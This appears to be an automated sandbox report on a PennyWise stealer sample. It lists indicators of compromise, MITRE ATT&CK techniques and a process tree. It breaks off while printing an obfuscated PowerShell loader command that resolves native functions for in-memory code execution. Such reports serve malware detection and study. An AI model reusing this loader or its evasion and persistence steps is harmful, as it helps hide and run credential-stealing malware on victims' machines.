pennywise | f906d33be62c5707e7e2eaa3a25392ead4e9d4da71c717cb5d34c5924afed129

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

PennyWise
PennyWise is a stealer written in C#.
stealer pennywise
Pennywise family
pennywise

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 7380 created 6956	7380	WerFault.exe	138

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 37784 created 628	37784	powershell.EXE	5
PID 37792 created 628	37792	powershell.EXE	5
PID 7156 created 6956	7156	svchost.exe	138

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
7516	takeown.exe
7576	icacls.exe
37656	takeown.exe
37700	icacls.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2783838373-340812344-1280766377-1000\Control Panel\International\Geo\Nation	Java.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2783838373-340812344-1280766377-1000\Control Panel\International\Geo\Nation	33334.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2783838373-340812344-1280766377-1000\Control Panel\International\Geo\Nation	chrome.exe

Executes dropped EXE 5 IoCs

pid	Process
1316	Java.exe
5092	yt.exe
4764	33334.exe
3804	Java Update.exe
5596	chrome.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
7576	icacls.exe
37656	takeown.exe
37700	icacls.exe
7516	takeown.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2783838373-340812344-1280766377-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Java Update = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Java Update\\Java Update.exe"	Java.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
37792	powershell.EXE
37784	powershell.EXE

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral1/memory/1316-14-0x0000000000E30000-0x0000000000E40000-memory.dmp	ConfuserEx

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 5092 set thread context of 36904	5092	yt.exe	90
PID 4764 set thread context of 37364	4764	33334.exe	94
PID 37784 set thread context of 4740	37784	powershell.EXE	119
PID 37792 set thread context of 5808	37792	powershell.EXE	130
PID 5596 set thread context of 6956	5596	chrome.exe	138

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
37400	sc.exe
37452	sc.exe
37532	sc.exe
6724	sc.exe
6784	sc.exe
6964	sc.exe
7080	sc.exe
37476	sc.exe
37548	sc.exe
6660	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1769984947"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\27\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

pid	Process
37612	reg.exe
7340	reg.exe
7416	reg.exe
1092	reg.exe
7292	reg.exe
7444	reg.exe
7784	reg.exe
7852	reg.exe
7920	reg.exe
8108	reg.exe
37580	reg.exe
37596	reg.exe
37632	reg.exe
3496	reg.exe
3528	reg.exe
7176	reg.exe
37564	reg.exe
3580	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4124	powershell.exe
4124	powershell.exe
4764	33334.exe
37644	powershell.exe
37644	powershell.exe
37784	powershell.EXE
37792	powershell.EXE
37792	powershell.EXE
37784	powershell.EXE
37784	powershell.EXE
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4000	powershell.EXE
4000	powershell.EXE
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
37792	powershell.EXE
5808	dllhost.exe
5808	dllhost.exe
5808	dllhost.exe
5808	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
5808	dllhost.exe
5808	dllhost.exe
5740	powershell.exe
4740	dllhost.exe
4740	dllhost.exe
5808	dllhost.exe
5808	dllhost.exe
5740	powershell.exe
4740	dllhost.exe
4740	dllhost.exe
5808	dllhost.exe
5808	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
5808	dllhost.exe
5808	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
5808	dllhost.exe
5808	dllhost.exe
4740	dllhost.exe
4740	dllhost.exe
5808	dllhost.exe
5808	dllhost.exe
5740	powershell.exe
4740	dllhost.exe
4740	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3412	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeIncreaseQuotaPrivilege	4124	powershell.exe
Token: SeSecurityPrivilege	4124	powershell.exe
Token: SeTakeOwnershipPrivilege	4124	powershell.exe
Token: SeLoadDriverPrivilege	4124	powershell.exe
Token: SeSystemProfilePrivilege	4124	powershell.exe
Token: SeSystemtimePrivilege	4124	powershell.exe
Token: SeProfSingleProcessPrivilege	4124	powershell.exe
Token: SeIncBasePriorityPrivilege	4124	powershell.exe
Token: SeCreatePagefilePrivilege	4124	powershell.exe
Token: SeBackupPrivilege	4124	powershell.exe
Token: SeRestorePrivilege	4124	powershell.exe
Token: SeShutdownPrivilege	4124	powershell.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeSystemEnvironmentPrivilege	4124	powershell.exe
Token: SeRemoteShutdownPrivilege	4124	powershell.exe
Token: SeUndockPrivilege	4124	powershell.exe
Token: SeManageVolumePrivilege	4124	powershell.exe
Token: 33	4124	powershell.exe
Token: 34	4124	powershell.exe
Token: 35	4124	powershell.exe
Token: 36	4124	powershell.exe
Token: SeDebugPrivilege	36904	AppLaunch.exe
Token: SeDebugPrivilege	4764	33334.exe
Token: SeTakeOwnershipPrivilege	37656	takeown.exe
Token: SeDebugPrivilege	37644	powershell.exe
Token: SeDebugPrivilege	37784	powershell.EXE
Token: SeDebugPrivilege	37792	powershell.EXE
Token: SeIncreaseQuotaPrivilege	37644	powershell.exe
Token: SeSecurityPrivilege	37644	powershell.exe
Token: SeTakeOwnershipPrivilege	37644	powershell.exe
Token: SeLoadDriverPrivilege	37644	powershell.exe
Token: SeSystemProfilePrivilege	37644	powershell.exe
Token: SeSystemtimePrivilege	37644	powershell.exe
Token: SeProfSingleProcessPrivilege	37644	powershell.exe
Token: SeIncBasePriorityPrivilege	37644	powershell.exe
Token: SeCreatePagefilePrivilege	37644	powershell.exe
Token: SeBackupPrivilege	37644	powershell.exe
Token: SeRestorePrivilege	37644	powershell.exe
Token: SeShutdownPrivilege	37644	powershell.exe
Token: SeDebugPrivilege	37644	powershell.exe
Token: SeSystemEnvironmentPrivilege	37644	powershell.exe
Token: SeRemoteShutdownPrivilege	37644	powershell.exe
Token: SeUndockPrivilege	37644	powershell.exe
Token: SeManageVolumePrivilege	37644	powershell.exe
Token: 33	37644	powershell.exe
Token: 34	37644	powershell.exe
Token: 35	37644	powershell.exe
Token: 36	37644	powershell.exe
Token: SeIncreaseQuotaPrivilege	37644	powershell.exe
Token: SeSecurityPrivilege	37644	powershell.exe
Token: SeTakeOwnershipPrivilege	37644	powershell.exe
Token: SeLoadDriverPrivilege	37644	powershell.exe
Token: SeSystemProfilePrivilege	37644	powershell.exe
Token: SeSystemtimePrivilege	37644	powershell.exe
Token: SeProfSingleProcessPrivilege	37644	powershell.exe
Token: SeIncBasePriorityPrivilege	37644	powershell.exe
Token: SeCreatePagefilePrivilege	37644	powershell.exe
Token: SeBackupPrivilege	37644	powershell.exe
Token: SeRestorePrivilege	37644	powershell.exe
Token: SeShutdownPrivilege	37644	powershell.exe
Token: SeDebugPrivilege	37644	powershell.exe
Token: SeSystemEnvironmentPrivilege	37644	powershell.exe
Token: SeRemoteShutdownPrivilege	37644	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5756	Conhost.exe
6528	Conhost.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3412	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 660 wrote to memory of 1316	660	Install.exe	82
PID 660 wrote to memory of 5092	660	Install.exe	83
PID 660 wrote to memory of 4764	660	Install.exe	84
PID 1316 wrote to memory of 3804	1316	Java.exe	86
PID 4764 wrote to memory of 4124	4764	33334.exe	87
PID 5092 wrote to memory of 36904	5092	yt.exe	90
PID 5092 wrote to memory of 36904	5092	yt.exe	90
PID 4764 wrote to memory of 37320	4764	33334.exe	92
PID 4764 wrote to memory of 37364	4764	33334.exe	94
PID 4764 wrote to memory of 37364	4764	33334.exe	94
PID 4764 wrote to memory of 37364	4764	33334.exe	94
PID 4764 wrote to memory of 37364	4764	33334.exe	94
PID 4764 wrote to memory of 37364	4764	33334.exe	94
PID 4764 wrote to memory of 37364	4764	33334.exe	94
PID 4764 wrote to memory of 37364	4764	33334.exe	94
PID 4764 wrote to memory of 37364	4764	33334.exe	94
PID 4764 wrote to memory of 37364	4764	33334.exe	94
PID 37320 wrote to memory of 37400	37320	cmd.exe	95
PID 37320 wrote to memory of 37452	37320	cmd.exe	96
PID 37320 wrote to memory of 37476	37320	cmd.exe	97
PID 37320 wrote to memory of 37532	37320	cmd.exe	98
PID 37320 wrote to memory of 37548	37320	cmd.exe	99
PID 37320 wrote to memory of 37564	37320	cmd.exe	100
PID 37320 wrote to memory of 37580	37320	cmd.exe	101
PID 37320 wrote to memory of 37596	37320	cmd.exe	102
PID 37320 wrote to memory of 37612	37320	cmd.exe	103
PID 37320 wrote to memory of 37632	37320	cmd.exe	104
PID 4764 wrote to memory of 37644	4764	33334.exe	105
PID 37320 wrote to memory of 37656	37320	cmd.exe	106
PID 37320 wrote to memory of 37700	37320	cmd.exe	108
PID 37320 wrote to memory of 3496	37320	cmd.exe	113
PID 37320 wrote to memory of 3580	37320	cmd.exe	114
PID 37320 wrote to memory of 3528	37320	cmd.exe	115
PID 37320 wrote to memory of 1092	37320	cmd.exe	116
PID 37320 wrote to memory of 3256	37320	cmd.exe	117
PID 37320 wrote to memory of 3544	37320	cmd.exe	118
PID 37784 wrote to memory of 4740	37784	powershell.EXE	119
PID 37784 wrote to memory of 4740	37784	powershell.EXE	119
PID 37784 wrote to memory of 4740	37784	powershell.EXE	119
PID 37784 wrote to memory of 4740	37784	powershell.EXE	119
PID 37784 wrote to memory of 4740	37784	powershell.EXE	119
PID 37784 wrote to memory of 4740	37784	powershell.EXE	119
PID 37784 wrote to memory of 4740	37784	powershell.EXE	119
PID 37784 wrote to memory of 4740	37784	powershell.EXE	119
PID 37784 wrote to memory of 4740	37784	powershell.EXE	119
PID 37320 wrote to memory of 4584	37320	cmd.exe	120
PID 37320 wrote to memory of 4012	37320	cmd.exe	121
PID 37320 wrote to memory of 2824	37320	cmd.exe	122
PID 37320 wrote to memory of 4692	37320	cmd.exe	124
PID 37320 wrote to memory of 4120	37320	cmd.exe	125
PID 4740 wrote to memory of 628	4740	dllhost.exe	5
PID 4740 wrote to memory of 684	4740	dllhost.exe	7
PID 4740 wrote to memory of 884	4740	dllhost.exe	11
PID 4740 wrote to memory of 1020	4740	dllhost.exe	13
PID 4740 wrote to memory of 420	4740	dllhost.exe	14
PID 4740 wrote to memory of 980	4740	dllhost.exe	15
PID 4740 wrote to memory of 408	4740	dllhost.exe	16
PID 4740 wrote to memory of 1032	4740	dllhost.exe	17
PID 4740 wrote to memory of 1120	4740	dllhost.exe	18
PID 4740 wrote to memory of 1128	4740	dllhost.exe	19
PID 4740 wrote to memory of 1152	4740	dllhost.exe	20
PID 4740 wrote to memory of 1212	4740	dllhost.exe	21
PID 4740 wrote to memory of 1268	4740	dllhost.exe	22
PID 4740 wrote to memory of 1452	4740	dllhost.exe	24

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1152
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{40838b81-1d1e-40f5-8edc-fb0cb2e1bf75}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4740
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{15744fee-b29c-4cd1-a4ac-71ca3826cc57}
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:5808

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3203134f-df3f-4d4c-83c9-813d81450e04 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-edf1a5d3-b229-439f-81af-8a55e1e90284 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-358d5b05-d8af-4359-a2bd-6ae36a268ba0 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-93221178-804e-4c7c-a979-ab9a582c7731 -LifetimeId:7838335c-7c67-44de-81d0-48796cdbfc61 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1496
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:BPUxVmxhWydM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TVkfKdFbAWVYjG,[Parameter(Position=1)][Type]$hwzBmzyebe)$VIyAXJBACyR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$VIyAXJBACyR.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$TVkfKdFbAWVYjG).SetImplementationFlags('Runtime,Managed');$VIyAXJBACyR.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$hwzBmzyebe,$TVkfKdFbAWVYjG).SetImplementationFlags('Runtime,Managed');Write-Output $VIyAXJBACyR.CreateType();}$bZNjucCbdRlrl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$uHIQAPMwrlXQUF=$bZNjucCbdRlrl.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ojhyEtYNPMpaCWghiCu=BPUxVmxhWydM @([String])([IntPtr]);$jpPGmrUkbPJklGhNQWRMXa=BPUxVmxhWydM 